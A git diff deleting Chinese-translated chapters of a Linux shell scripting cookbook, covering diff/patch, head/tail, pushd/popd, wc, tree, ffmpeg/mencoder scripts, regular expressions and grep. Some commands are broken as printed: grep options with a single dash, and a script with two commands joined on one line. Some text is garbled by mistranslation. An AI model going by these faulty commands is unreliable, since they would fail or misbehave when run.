-在统一的`diff`中,以`+`开头的行是增加的行,以`-`开头的行是删除的行。 - -4. 可以通过将`diff`输出重定向到文件来生成补丁文件: - -```sh - $ diff -u version1.txt version2.txt > version.patch - -``` - -`patch`命令可以将更改应用于两个文件中的任何一个。当应用到`version1.txt`时,我们得到`version2.txt`文件。当应用到`version2.txt`时,我们生成`version1.txt`。 - -5. 此命令应用补丁程序: - -```sh - $ patch -p1 version1.txt < version.patch - patching file version1.txt - -``` - -我们现在有`version1.txt`和`version2.txt`一样的内容。 - -6. 要恢复更改,请使用以下命令: - -```sh - $ patch -p1 version1.txt < version.patch - patching file version1.txt - Reversed (or previously applied) patch detected! Assume -R? [n] y - #Changes are reverted. - -``` - -如图所示,修补已修补的文件会恢复更改。为了避免用`y/n`提示用户,我们可以将`-R`选项与`patch`命令一起使用。 - -# 还有更多... - -让我们来看看`diff`提供的附加功能。 - -# 针对目录生成差异 - -`diff`命令可以递归地作用于目录。它将为目录中的所有后代文件生成不同的输出。使用以下命令: - -```sh - $ diff -Naur directory1 directory2 - -``` - -该命令中每个选项的解释如下: - -* `-N`:用于将缺失的文件视为空 -* `-a`:用于将所有文件视为文本文件 -* `-u`:这是用来产生统一输出的 -* `-r`:用于递归遍历目录中的文件 - -# 使用头部和尾部打印最后或前 10 行 - -当检查一个数千行长的大文件时,显示所有行的`cat`命令是不合适的。相反,我们希望查看一个子集(例如,文件的前 10 行或文件的后 10 行)。我们可能需要打印前 *n* 行或最后 *n* 行,或者打印除最后 *n* 行之外的所有行或除第一 *n* 行之外的所有行,或两个位置之间的行。 - -`head`和`tail`命令可以做到这一点。 - -# 怎么做... - -`head`命令读取输入文件的开头。 - -1. 打印前 10 行: - -```sh - $ head file - -``` - -2. 从`stdin`读取数据: - -```sh - $ cat text | head - -``` - -3. 指定要打印的第一行的数量: - -```sh - $ head -n 4 file - -``` - -该命令打印前四行。 - -4. 打印除最后`M`行以外的所有行: - -```sh - $ head -n -M file - -``` - -Note that it is negative M. - -例如,要打印除最后五行以外的所有行,请使用以下命令行: - -```sh - $ seq 11 | head -n -5 - 1 - 2 - 3 - 4 - 5 - 6 - -``` - -该命令打印第 1 行到第 5 行: - -```sh - $ seq 100 | head -n 5 - -``` - -5. 打印除最后几行以外的所有内容是`head`的常用功能。在检查日志文件时,我们通常希望查看最近(即最后)的行。 -6. 要打印文件的最后 10 行,请使用以下命令: - -```sh - $ tail file - -``` - -7. 要从`stdin`读取,请使用以下命令: - -```sh - $ cat text | tail - -``` - -8. 打印最后五行: - -```sh - $ tail -n 5 file - -``` - -9. 要打印除前 M 行以外的所有行,请使用以下命令: - -```sh - $ tail -n +(M+1) - -``` - -例如,要打印除前五行之外的所有行, *M + 1 = 6* ,命令如下: - -```sh - $ seq 100 | tail -n +6 - -``` - -这将打印从 6 到 100。 - -`tail`的一个常见用途是监控不断增长的文件中的新行,例如系统日志文件。由于新的行被附加到文件的末尾,所以`tail`可以用来在写入时显示它们。为了监控文件的增长,`tail`有一个特殊的选项`-f`或`--follow`,使`tail`能够跟随附加的行并在添加数据时显示它们: - -```sh - $ tail -f growing_file - -``` - -您可能想在日志文件中使用它。监控文件增长的命令如下: - -```sh - # tail -f /var/log/messages - -``` - -或者,可以使用以下命令: - -```sh - $ dmesg | tail -f - -``` - -`dmesg`命令返回内核环形缓冲区消息的内容。我们可以用它来调试 USB 设备、检查磁盘行为或监控网络连接。`-f`尾部可以添加睡眠间隔`-s`来设置监控文件更新的间隔。 - -在给定的进程标识消失后,可以指示`tail`命令终止。 - -假设一个进程`Foo`正在将数据附加到我们正在监控的文件中。应该执行`-f`尾,直到流程`Foo`结束。 - -```sh - $ PID=$(pidof Foo) - $ tail -f file --pid $PID - -``` - -当过程`Foo`终止时,`tail`也终止。 - -让我们做一个例子。 - -1. 创建一个新文件`file.txt`并在你喜欢的文本编辑器中打开该文件。 -2. 现在运行以下命令: - -```sh - $ PID=$(pidof gedit) - $ tail -f file.txt --pid $PID - -``` - -3. 向文件中添加新行并频繁保存文件。 - -当您在文件末尾添加新行时,新行将通过`tail`命令写入终端。当您关闭编辑会话时,`tail`命令将终止。 - -# 仅列出目录-替代方法 - -通过脚本只列出目录似乎很难。这个食谱介绍了多种只列出目录的方法。 - -# 准备好 - -有多种方法只列出目录。`dir`命令与`ls`类似,但选项较少。我们也可以用`ls`和`find`列出目录。 - -# 怎么做... - -当前路径中的目录可以通过以下方式显示: - -1. 使用`ls`和`-d`打印目录: - -```sh - $ ls -d */ - -``` - -2. 将`ls -F`与`grep`配合使用: - -```sh - $ ls -F | grep "/$" - -``` - -3. 将`ls -l`与`grep`配合使用: - -```sh - $ ls -l | grep "^d" - -``` - -4. 使用`find`打印目录: - -```sh - $ find . -type d -maxdepth 1 -print - -``` - -# 它是如何工作的... - -当`-F`参数与`ls`一起使用时,所有条目都附加了某种类型的文件字符,如`@`、`*`、`|`等。对于目录,条目附加有`/`字符。我们使用`grep`仅过滤以`/$`行尾指示器结束的条目。 - -`ls -l`输出中任意一行的第一个字符是文件字符的类型。对于目录,文件字符的类型是`d`。因此,我们使用`grep`从`"d`开始过滤线条。`"` `^`是一个起点指标。 - -`find`命令可以将参数类型作为目录,`maxdepth`设置为`1`,因为我们不想让它在子目录中搜索。 - -# 使用 pushd 和 popd 的快速命令行导航 - -在文件系统中的多个位置导航时,一个常见的做法是将 cd 复制到您复制和粘贴的路径。如果我们处理几个地点,这是没有效率的。当我们需要在位置之间来回导航时,用每个`cd`命令键入或粘贴路径是很耗时的。Bash 和其他 Shell 支持`pushd`和`popd`在目录之间循环。 - -# 准备好 - -`pushd`和`popd`用于在多个目录之间切换,无需重新键入目录路径。`pushd`和`popd`创建一堆路径-一个**最后**T6 中**第一**T10(**后进先出**)我们访问过的目录列表。 - -# 怎么做... - -`pushd`和`popd`命令代替 cd 来改变你的工作目录。 - -1. 要将目录推入并更改为路径,请使用以下命令: - -```sh - ~ $ pushd /var/www - -``` - -现在栈包含`/var/www ~`,当前目录改为`/var/www`。 - -2. 现在,推送下一个目录路径: - -```sh - /var/www $ pushd /usr/src - -``` - -现在栈包含`/usr/src` `/var/www ~`,当前目录为`/usr/src`。 - -您可以根据需要推送任意多的目录路径。 - -3. 查看堆栈内容: - -```sh - $ dirs - /usr/src /var/www ~ /usr/share /etc - 0 1 2 3 4 - -``` - -4. 现在,当您想要切换到列表中的任何路径时,请对从`0`到`n`的每个路径进行编号,然后使用我们需要切换的路径编号。考虑这个例子: - -```sh - $ pushd +3 - -``` - -现在它将旋转堆栈并切换到`/usr/share`目录。 - -`pushd`将始终向堆栈添加路径。要从堆栈中移除路径,请使用`popd`。 - -5. 删除上一次推送的路径,并更改到下一个目录: - -```sh - $ popd - -``` - -假设栈为`/usr/src /var/www ~ /usr/share /etc`,当前目录为`/usr/src`。`popd`命令将堆栈更改为`/var/www ~ /usr/share /etc`,并将当前目录更改为`/var/www`。 - -6. 要从列表中删除特定路径,请使用`popd +num`。`num`从左至右计为`0`至`n`。 - -# 还有更多... - -让我们来看看基本的目录导航实践。 - -# 当使用三个以上的目录路径时,pushd 和 popd 非常有用。但是,当您只使用两个位置时,有一种替代的更简单的方法,那就是 cd -。 - -电流路径为`/var/www`。 - -```sh - /var/www $ cd /usr/src -/usr/src $ # do something - -``` - -现在,要切换回`/var/www`,不需要输入`/var/www`,只需执行: - -```sh - /usr/src $ cd - - -``` - -要切换到`/usr/src`: - -```sh - /var/www $ cd - - -``` - -# 计算文件中的行数、字数和字符数 - -计算文本文件中的行数、字数和字符数通常很有用。这本书在其他章节中包括一些棘手的例子,在这些例子中,计数被用来产生所需的输出。**计数 LOC** ( **行代码**)是开发者常用的应用。我们可能需要计算文件的子集,例如,所有源代码文件,但不是目标文件。`wc`与其他命令的组合可以实现这一点。 - -`wc`实用程序对行、词和字符进行计数。代表**字数**。 - -# 怎么做... - -`wc`命令支持对行数、字数和字符数进行计数的选项: - -1. 计算行数: - -```sh - $ wc -l file - -``` - -2. 要使用`stdin`作为输入,请使用以下命令: - -```sh - $ cat file | wc -l - -``` - -3. 数数字数: - -```sh - $ wc -w file - $ cat file | wc -w - -``` - -4. 计算字符数: - -```sh - $ wc -c file - $ cat file | wc -c - -``` - -要计算文本字符串中的字符数,请使用以下命令: - -```sh - echo -n 1234 | wc -c - 4 - -``` - -这里,`-n`删除最后一个换行符。 - -5. 要打印行数、字数和字符数,执行`wc`时不需要任何选项: - -```sh - $ wc file - 1435 15763 112200 - -``` - -这些是行数、字数和字符数。 - -6. 用`-L`选项打印文件中最长一行的长度: - -```sh - $ wc file -L - 205 - -``` - -# 打印目录树 - -将目录和文件系统图形化地表示为树形层次结构,使它们更容易可视化。监控脚本使用这种表示以易于阅读的格式呈现文件系统。 - -# 准备好 - -`tree`命令打印文件和目录的图形树。`tree`命令不是预装的 Linux 发行版附带的。您必须使用包管理器安装它。 - -# 怎么做... - -下面是一个示例 Unix 文件系统树来展示一个示例: - -```sh - $ tree ~/unixfs - unixfs/ - |-- bin - | |-- cat - | `-- ls - |-- etc - | `-- passwd - |-- home - | |-- pactpub - | | |-- automate.sh - | | `-- schedule - | `-- slynux - |-- opt - |-- tmp - `-- usr - 8 directories, 5 files - -``` - -`tree`命令支持几个选项: - -* 要仅显示符合模式的文件,请使用`-P`选项: - -```sh - $ tree path -P PATTERN # Pattern should be wildcard in single - quotes - -``` - -考虑这个例子: - -```sh - $ tree PATH -P '*.sh' # Replace PATH with a directory path - |-- home - | |-- packtpub - | | `-- automate.sh - -``` - -* 要仅显示与模式不匹配的文件,请使用`-I`选项: - -```sh - $ tree path -I PATTERN - -``` - -* 要打印文件和目录的大小,请使用`-h`选项: - -```sh - $ tree -h - -``` - -# 还有更多... - -树命令可以生成 HTML 格式的输出,也可以输出到终端。 - -# 树的 HTML 输出 - -该命令创建一个带有树输出的 HTML 文件: - -```sh - $ tree PATH -H http://localhost -o out.html - -``` - -将`http://localhost`替换为您计划存放文件的网址。用基目录的真实路径替换`PATH`。对于当前目录,使用`.`作为`PATH`。 - -从目录列表生成的网页如下所示: - -![](img/Ch03_img.jpg) - -# 操作视频和图像文件 - -Linux 和 Unix 支持许多处理图像和视频文件的应用和工具。大多数 Linux 发行版都包括带有用于操作图像的**转换**应用的 **imageMagick** 套件。**kdenlive****openshot**等全功能视频编辑应用构建在 **ffmpeg** 和 **mencoder** 命令行应用之上。 - -convert 应用有数百个选项。我们只使用提取图像一部分的方法。 - -`ffmpeg`和`mencoder`有足够的选项和功能,完全可以自己填满一本书。我们只看几个简单的用法。 - -这部分有一些处理静态图像和视频的方法。 - -# 准备好 - -大多数 Linux 发行版都包括 **ImageMagick** 工具。如果您的系统不包含这些工具,或者这些工具已经过期,请访问位于[www.imagemagick.org](http://www.imagemagick.org/)的 ImageMagick 网站下载并安装最新工具。 - -像 ImageMagick 一样,许多 Linux 发行版已经包含了`ffmpeg`和`mencoder`工具集。最新版本可在[【http://www.ffmpeg.org】](http://www.ffmpeg.org/)[的`ffmpeg`和`mencoder`网站上找到。](http://www.mplayerhq.hu/) - -构建和安装视频工具可能需要加载编解码器和其他具有令人困惑的版本依赖性的辅助文件。如果您打算使用您的 Linux 系统进行音频和视频编辑,最简单的方法是使用专门为此设计的 Linux 发行版,例如 Ubuntu 工作室发行版。 - -以下是几种常见的音频-视频转换方法: - -# 从电影文件中提取音频(mp4) - -音乐视频看起来很有趣,但音乐的意义在于听。从视频中提取音频部分很简单: - -# 怎么做... - -以下命令接受一个`mp4`视频文件(`FILE.mp4`)并将音频部分提取到一个新文件(`OUTPUTFILE.mp3`)中作为`mp3`: - -```sh -ffmpeg -i FILE.mp4 -acodec libmp3lame OUTPUTFILE.mp3 - -``` - -# 用一组静止图像制作视频 - -许多相机支持间隔拍摄。你可以用这个功能来做你自己的延时摄影或者制作定格视频。在[www.cwflynt.com](http://www.cwflynt.com/)上有这样的例子。您可以使用 OpenShot 视频编辑包将一组静止图像转换成视频,或者使用 mencoder 工具从命令行转换成视频。 - -# 怎么做... - -该脚本将接受一个图像列表,并从中创建一个 MPEG 视频文件: - -```sh -$ cat stills2mpg.sh -echo $* | tr ' ' '\n' >files.txt mencoder mf://@files.txt -mf fps=24 -ovc lavc \ -lavcopts vcodec=msmpeg4v2 -noskip -o movie.mpg - -``` - -要使用该脚本,请将命令复制/粘贴到名为`stills2mpg.sh`的文件中,使其可执行并按如下方式调用: - -```sh -./stills2mpg.sh file1.jpg file2.jpg file3.jpg ... - -``` - -或者,使用它来调用它: - -```sh -./stills2mpg.sh *.jpg - -``` - -# 它是如何工作的... - -`mencoder`命令要求将输入文件格式化为每行一个图像文件。脚本的第一行将命令行参数回显给 tr 命令,以将空格分隔符转换为换行符。这将单行列表转换为每行一个的文件列表。 - -您可以通过重置 **FPS** ( **每秒帧数**)参数来更改视频速度。例如,将 fps 值设置为`1`会制作一个每秒改变图像的幻灯片。 - -# 从静态相机拍摄创建全景视频 - -如果你决定创建自己的视频,你可能会在某个时候想要一些风景的全景照片。您可以用大多数相机录制视频图像,但是如果您只有静止图像,您仍然可以制作全景视频。 - -# 怎么做... - -相机拍摄的图像通常比视频要大。您可以使用转换应用创建一个电影平移来提取大图像的部分,并使用`mencoder`将它们缝合到一个视频文件中: - -```sh -$> makePan.sh -# Invoke as: -# sh makePan.sh OriginalImage.jpg prefix width height xoffset yoffset # Clean out any old data -rm -f tmpFiles -# Create 200 still images, stepping through the original xoffset and yoffset -# pixels at a time -for o in `seq 1 200` - do - x=$[ $o+$5 ] - convert -extract $3x$4+$x+$6 $1 $2_$x.jpg - echo $2_$x.jpg >> tmpFiles -done -#Stitch together the image files into a mpg video file -mencoder mf://@tmpFiles -mf fps=30 -ovc lavc -lavcopts \ - vcodec=msmpeg4v2 -noskip -o $2.mpg - -``` - -# 它是如何工作的... - -这个脚本比我们目前看到的要复杂。它使用七个命令行参数来定义输入图像、用于输出文件的前缀、中间图像的宽度和高度以及原始图像的起始偏移量。 - -在`for`循环中,它创建一组图像文件,并将名称存储在名为`tmpFiles`的文件中。最后,脚本使用`mencoder`将提取的图像文件合并成 MPEG 视频,该视频可以导入到视频编辑器中,如 kdenlive 或 OpenShot。 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/04.md b/docs/linux-shell-script-cb/04.md deleted file mode 100644 index dd129b0e..00000000 --- a/docs/linux-shell-script-cb/04.md +++ /dev/null @@ -1,1830 +0,0 @@ -# 四、打字和开车 - -在本章中,我们将介绍以下食谱: - -* 使用正则表达式 -* 使用 grep 搜索和挖掘文件中的文本 -* 用 cut 按列剪切文件 -* 使用`sed`进行文本替换 -* 使用`awk`进行高级文本处理 -* 查找给定文件中单词的使用频率 -* 压缩或解压缩 JavaScript -* 将多个文件合并为列 -* 在文件或行中打印第 n 字或列 -* 在行号或图案之间打印文本 -* 以相反的顺序打印行 -* 从文本中解析电子邮件地址和网址 -* 删除文件中包含单词的句子 -* 用目录中所有文件的文本替换模式 -* 文本切片和参数操作 - -# 介绍 - -Shell 脚本包括许多解决问题的工具。有一套丰富的文本处理工具。这些工具包括`sed`、`awk`、`grep`、`cut`等实用工具,可以组合起来进行文本处理需求。 - -这些实用程序按字符、行、字、列或行处理文件,以多种方式处理文本文件。 - -正则表达式是一种基本的模式匹配技术。大多数文本处理实用程序都支持正则表达式。使用正则表达式字符串,我们可以在文本文件中过滤、剥离、替换和搜索。 - -这一章包括一个食谱的集合,引导你通过文本处理问题的许多解决方案。 - -# 使用正则表达式 - -正则表达式是基于模式的文本处理的核心。为了有效地使用正则表达式,需要理解它们。 - -每个使用`ls`的人都熟悉 glob 风格的图案。Glob 规则在许多情况下都很有用,但是对于文本处理来说太有限了。正则表达式允许您比全局规则更详细地描述模式。 - -匹配电子邮件地址的典型正则表达式可能如下所示: - -```sh -[a-z0-9_]+@[a-z0-9]+\.[a-z]+. - -``` - -如果这看起来很奇怪,不要担心;一旦你通过这个食谱理解了这些概念,它就真的很简单了。 - -# 怎么做... - -**正则表达式**由具有特殊含义的文本片段和符号组成。使用这些,我们可以构造一个正则表达式来匹配任何文本。正则表达式是许多工具的基础。本节描述正则表达式,但不介绍使用它们的 Linux/Unix 工具。后面的食谱会描述这些工具。 - -正则表达式由组合成字符串的一个或多个元素组成。元素可以是位置标记、标识符或计数修饰符。位置标记将正则表达式锚定到目标字符串的开头或结尾。标识符定义一个或多个字符。count 修饰符定义了一个标识符可能出现的次数。 - -在我们看一些示例正则表达式之前,让我们先看看规则。 - -# 位置标记 - -位置标记将正则表达式锚定到字符串中的某个位置。默认情况下,可以使用与正则表达式匹配的任何字符集,而不管字符串中的位置如何。 - -| **regex** | **描述** | **例** | -| --- | --- | --- | -| `^` | 这指定匹配正则表达式的文本必须从字符串的开头开始 | `^tux`匹配以`tux`开头的行 | -| `$` | 这指定匹配正则表达式的文本必须以目标字符串中的最后一个字符结尾 | `tux$`匹配以`tux`结束的线 | - -# 标识符 - -标识符是正则表达式的基础。这些定义了匹配正则表达式必须存在(或不存在)的字符。 - -| **regex** | **描述** | **例** | -| --- | --- | --- | -| `A`字符 | 正则表达式必须与此字母匹配。 | `A`将匹配字母 A | -| `.` | 这匹配任何一个字符。 | `"Hack."`匹配`Hack1`、`Hacki`,但不匹配`Hack12`或`Hackil`;只有一个附加字符匹配 | -| `[]` | 这与括号中的任何一个字符匹配。括起来的字符可以是一组或一个范围。 | `coo[kl]`匹配`cook`或`cool`;[0-9]匹配任何单个数字 | -| `[^]` | 这与任何一个字符匹配,但方括号内的字符除外。括起来的字符可以是一组或一个范围。 | `9[^01]`匹配`92``93`,不匹配`91``90`;`A[^0-9]`匹配一个`A`,后面跟除了一个数字之外的任何东西 | - -# 计数修饰符 - -标识符可能出现一次、从未出现或多次。计数修改器定义一个模式可能出现的次数。 - -| **regex** | **描述** | **例** | -| --- | --- | --- | -| `?` | 这意味着前面的项目必须匹配一次或零次 | `colou?r`匹配`color`或`colour`,但不匹配`colouur` | -| `+` | 这意味着前面的项目必须匹配一次或多次 | `Rollno-9+`匹配`Rollno-99`和`Rollno-9`,但不匹配`Rollno-` | -| `*` | 这意味着前面的项目必须匹配零次或更多次 | `co*l`匹配`cl`、`col`和`coool` | -| `{n}` | 这意味着前面的项目必须匹配 n 次 | `[0-9]{3}`匹配任意三位数;`[0-9]{3}`可扩展为`[0-9][0-9][0-9]` | -| `{n,}` | 这指定了前一项匹配的最小次数 | `[0-9]{2,}`匹配两位数或更长的任何数字 | -| `{n, m}` | 这指定了前一项匹配的最小和最大次数 | `[0-9]{2,5}`匹配任何两位到五位的数字 | - -# 其他的 - -以下是微调正则表达式解析方式的其他字符。 - -| `()` | 这将随附的术语视为一个整体 | `ma(tri)?x`匹配`max`或`matrix` | -| `|` | 这指定了交替-;`|`两侧的其中一个项目应该匹配 | `Oct (1st | 2nd)`匹配`Oct 1st`或`Oct 2nd` | -| `\` | 这是转义字符,用于转义前面提到的任何特殊字符 | `a\.b`匹配`a.b`,但不匹配`ajb`;它忽略了`.`的特殊含义,因为`\` | - -关于可用正则表达式组件的更多细节,可以参考[http://www.linuxforu.com/2011/04/sed-explained-part-1/](http://www.linuxforu.com/2011/04/sed-explained-part-1/)。 - -# 还有更多... - -让我们看几个正则表达式的例子: - -这个正则表达式可以匹配任何一个单词: - -```sh -( +[a-zA-Z]+ +) - -``` - -最初的`+`字符表示我们需要 1 个或更多的空格。 - -`[a-zA-Z]`集合都是大写字母和小写字母。下面的加号表示我们至少需要一个字母,并且可以有更多。 - -最后的`+`字符表示我们需要用一个或多个空格来结束这个单词。 - -This would not match the last word in a sentence. To match the last word in a sentence or the word before a comma, we write the expression like this: - -```sh -( +[a-zA-Z]+[?,\.]? +) - -``` - -`[?,\.]?`短语表示我们可能有一个问号、逗号或句号,但最多一个。句点用反斜杠转义,因为空句点是匹配任何内容的通配符。 - -更容易匹配一个 IP 地址。我们知道我们会有四个三位数的数字,用句点分隔。 - -`[0-9]`短语定义了一个数字。`{1,3}`短语将计数定义为至少一个数字且不超过三个数字: - -```sh -[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} - -``` - -我们还可以使用`[[:digit:]]`构造来定义一个 IP 地址,以定义一个数字: - -```sh -[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3} - -``` - -我们知道一个 IP 地址在四个整数的范围内(每个从 0 到 255),用点分隔(例如,`192.168.0.2`)。 - -This regex will match an IP address in the text being processed. However, it doesn't check for the validity of the address. For example, an IP address of the form `123.300.1.1` will be matched by the regex despite being an invalid IP. - -# 它是如何工作的... - -正则表达式由复杂的状态机解析,该状态机试图找到正则表达式与目标文本字符串的最佳匹配。该文本可以是管道、文件甚至是您在命令行上键入的字符串的输出。如果有多种方法来实现正则表达式,引擎通常会选择最大的匹配字符集。 - -例如,给定字符串`this is a test`和正则表达式`s.*s`,匹配将是`s is a tes`,而不是`s is`。 - -关于可用正则表达式组件的更多细节,可以参考[http://www.linuxforu.com/2011/04/sed-explained-part-1/](http://www.linuxforu.com/2011/04/sed-explained-part-1/)。 - -# 还有更多... - -前面的表格描述了正则表达式中使用的字符的特殊含义。 - -# 特殊字符的处理 - -正则表达式使用一些字符,如`$`、`^`、`.`、`*`、`+`、`{`、`}`作为特殊字符。但是,如果我们想使用这些字符作为正常的文本字符呢?让我们看一个正则表达式的例子,`a.txt`。 - -这将匹配字符`a`,后跟任何字符(由于`.`字符),然后后跟`txt`字符串。然而,我们希望`.`匹配文字`.`而不是任何字符。为了实现这一点,我们在字符前加一个反斜杠`\`(这样做叫做转义字符)。这表明正则表达式想要匹配文字字符,而不是它的特殊含义。因此,最终的正则表达式变成`a\.txt`。 - -# 可视化正则表达式 - -正则表达式可能很难理解。幸运的是,有实用程序可以帮助可视化正则表达式。位于[http://www.regexper.com](http://www.regexper.com)的页面让你输入一个正则表达式,并创建一个图表来帮助你理解它。下面是描述一个简单正则表达式的截图: - -![](img/B05265_04_image.png) - -# 使用 grep 搜索和挖掘文件中的文本 - -如果你忘了把钥匙放在哪里,你只要去找就行了。如果你忘记了什么文件有一些信息,`grep`命令会帮你找到。这个食谱将教你如何定位包含模式的文件。 - -# 怎么做... - -`grep`命令是搜索文本的神奇的 Unix 工具。它接受正则表达式,可以生成各种格式的报告。 - -1. 搜索`stdin`匹配模式的线条: - -```sh - $ echo -e "this is a word\nnext line" | grep word - this is a word - -``` - -2. 在单个文件中搜索包含给定模式的行: - -```sh - $ grep pattern filename - this is the line containing pattern - -``` - -或者,这将执行相同的搜索: - -```sh - $ grep "pattern" filename - this is the line containing pattern - -``` - -3. 在多个文件中搜索符合模式的行: - -```sh - $ grep "match_text" file1 file2 file3 ... - -``` - -4. 要突出显示匹配的图案,请使用`-color`选项。虽然选择权的地位并不重要,但惯例是将选择权放在首位。 - -```sh - $ grep -color=auto word filename - this is the line containing word - -``` - -5. `grep`命令默认使用基本正则表达式。这些是前面描述的规则的子集。`-E`选项将导致`grep`使用**扩展正则表达式**语法。`egrep`命令是`grep`的变体,默认情况下使用扩展正则表达式: - -```sh - $ grep -E "[a-z]+" filename - -``` - -或者: - -```sh - $ egrep "[a-z]+" filename - -``` - -6. `-o`选项将只报告匹配的字符,而不是整行: - -```sh - $ echo this is a line. | egrep -o "[a-z]+\." - line - -``` - -7. `-v`选项将打印除包含`match_pattern`的行以外的所有行: - -```sh - $ grep -v match_pattern file - -``` - -添加到`grep`的`-v`选项反转匹配结果。 - -8. `-c`选项将计算图案出现的行数: - -```sh - $ grep -c "text" filename - 10 - -``` - -需要注意的是`-c`统计的是匹配行数,而不是匹配次数。考虑这个例子: - -```sh - $ echo -e "1 2 3 4\nhello\n5 6" | egrep -c "[0-9]" - 2 - -``` - -即使有六个匹配项,`grep`报告`2`,因为只有两个匹配行。单行中的多个匹配只计算一次。 - -9. 要计算文件中匹配项目的数量,请使用以下技巧: - -```sh - $ echo -e "1 2 3 4\nhello\n5 6" | egrep -o "[0-9]" | wc -l - 6 - -``` - -10. `-n`选项将打印匹配字符串的行号: - -```sh - $ cat sample1.txt - gnu is not unix - linux is fun - bash is art - $ cat sample2.txt - planetlinux - $ grep linux -n sample1.txt - 2:linux is fun - -``` - -或者 - -```sh - $ cat sample1.txt | grep linux -n - -``` - -如果使用多个文件,`-c`选项将打印文件名,结果如下: - -```sh - $ grep linux -n sample1.txt sample2.txt - sample1.txt:2:linux is fun - sample2.txt:2:planetlinux - -``` - -11. `-b`选项将打印发生匹配的行的偏移量。添加`-o`选项将打印模式匹配的精确字符或字节偏移量: - -```sh - $ echo gnu is not unix | grep -b -o "not" - 7:not - -``` - -字符位置从`0`开始编号,而不是从`1`开始编号。 - -12. `-l`选项列出了哪些文件包含该模式: - -```sh - $ grep -l linux sample1.txt sample2.txt - sample1.txt - sample2.txt - -``` - -`-l`参数的反义词是`-L`。`-L`参数返回不匹配文件的列表。 - -# 还有更多... - -`grep`命令是最通用的 Linux/Unix 命令之一。它还包括在文件夹中搜索的选项,选择要搜索的文件,以及识别模式的更多选项。 - -# 递归搜索许多文件 - -要递归搜索文件层次结构中包含的文件中的文本,请使用以下命令: - -```sh - $ grep "text" . -R -n - -``` - -在该命令中,`.`指定当前目录。 - -The options `-R` and `-r` mean the same thing when used with `grep`. - -考虑这个例子: - -```sh - $ cd src_dir - $ grep "test_function()" . -R -n - ./miscutils/test.c:16:test_function(); - -``` - -`test_function()`存在于`miscutils/test.c`的第 16 行。如果您在网站或源代码树中搜索短语,则`-R`选项特别有用。它相当于这个命令: - -```sh - $ find . -type f | xargs grep "test_function()" - -``` - -# 忽略模式中的大小写 - -`-i`参数匹配模式,不考虑大写或小写: - -```sh - $ echo hello world | grep -i "HELLO" - hello - -``` - -# 通过匹配多个模式进行 grep - -`-e`参数指定了多个匹配模式: - -```sh - $ grep -e "pattern1" -e "pattern2" - -``` - -这将打印包含任一模式的行,并为每个匹配输出一行。考虑这个例子: - -```sh - $ echo this is a line of text | grep -o -e "this" -e "line" - this - line - -``` - -一个文件中可以定义多个模式。`-f`选项将读取文件并使用行分隔模式: - -```sh - $ grep -f pattern_filesource_filename - -``` - -考虑以下示例: - -```sh - $ cat pat_file - hello - cool - - $ echo hello this is cool | grep -f pat_file - hello this is cool - -``` - -# 在 grep 搜索中包括和排除文件 - -`grep`可以包含或排除使用通配符模式进行搜索的文件。 - -要递归地只搜索`.c`和`.cpp`文件,请使用-include 选项: - -```sh - $ grep "main()" . -r --include *.{c,cpp} - -``` - -注意`some{string1,string2,string3}`随着`somestring1 somestring2 somestring3`膨胀。 - -使用`-exclude`标志从搜索中排除所有`README`文件: - -```sh - $ grep "main()" . -r --exclude "README" - -``` - -`--exclude-dir`选项将从搜索中排除命名目录: - -```sh - $ grep main . -r -exclude-dir CVS - -``` - -要读取要从文件中排除的文件列表,请使用`--exclude-from FILE`。 - -# 使用带有零字节后缀的 xargs 的 grep - -`xargs`命令提供了另一个命令的命令行参数列表。当文件名用作命令行参数时,文件名使用零字节终止符,而不是默认的空格终止符。文件名可以包含空格字符,这将被误解为名称分隔符,导致文件名被分成两个文件名(例如,`New file.txt`可能被解释为两个文件名`New`和`file.txt`)。使用零字节后缀选项解决了这个问题。我们使用`xargs`接受来自`grep`和`find`等命令的`stdin`文本。这些命令可以生成带有零字节后缀的输出。当使用`-0`标志时,`xargs`命令将预期`0`字节终止。 - -创建一些测试文件: - -```sh - $ echo "test" > file1 - $ echo "cool" > file2 - $ echo "test" > file3 - -``` - -`-l`选项告诉`grep`只输出匹配的文件名。`-Z`选项使`grep`对这些文件使用零字节结束符(`\0`)。这两个选项经常一起使用。`-0`到`xargs`的参数使其读取输入并在零字节结束符处分离文件名: - -```sh - $ grep "test" file* -lZ | xargs -0 rm - -``` - -# grep 的静默输出 - -有时,我们只对是否匹配感兴趣,而不是检查匹配的字符串。安静选项(`-q`)使`grep`静默运行,不产生任何输出。相反,它运行命令并根据成功或失败返回退出状态。返回状态为`0`表示成功,非零表示失败。 - -`grep`命令可以在安静模式下使用,用于测试文件中是否出现匹配文本: - -```sh -#!/bin/bash -#Filename: silent_grep.sh -#Desc: Testing whether a file contain a text or not - -if [ $# -ne 2 ]; then - echo "Usage: $0 match_text filename" - exit 1 -fi - -match_text=$1 -filename=$2 -grep -q "$match_text" $filename - -if [ $? -eq 0 ]; then - echo "The text exists in the file" -else - echo "Text does not exist in the file" -fi - -``` - -`silent_grep.sh`脚本接受两个命令行参数,一个匹配词(`Student`)和一个文件名(`student_data.txt`): - -```sh - $ ./silent_grep.sh Student student_data.txt - The text exists in the file - -``` - -# 在文本匹配前后打印行 - -基于上下文的打印是`grep`的优秀特性之一。当 grep 找到与模式匹配的行时,它只打印匹配的行。我们可能需要在匹配线之前或之后看到 *n* 线。`-B`和`-A`选项分别显示比赛前后的线条。 - -`-A`选项在匹配后打印行: - -```sh - $ seq 10 | grep 5 -A 3 - 5 - 6 - 7 - 8 - -``` - -`-B`选项打印匹配前的行: - -```sh - $ seq 10 | grep 5 -B 3 - 2 - 3 - 4 - 5 - -``` - -`-A`和`-B`选项可以一起使用,也可以使用`-C`选项在比赛前后打印相同的行数: - -```sh - $ seq 10 | grep 5 -C 3 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - -``` - -如果有多个匹配项,则每个部分由一条`--`线定界: - -```sh - $ echo -e "a\nb\nc\na\nb\nc" | grep a -A 1 - a - b - -- - a - b - -``` - -# 用 cut 按列剪切文件 - -cut 命令按列而不是行拆分文件。这对于处理具有固定宽度字段的文件、**逗号分隔值** ( **CSV** 文件)或空格分隔文件(如标准日志文件)非常有用。 - -# 怎么做... - -`cu` t 命令提取字符位置或列之间的数据。您可以指定分隔每一列的分隔符。在`cut`术语中,每一列被称为一个**字段**。 - -1. -f 选项定义了要提取的字段: - 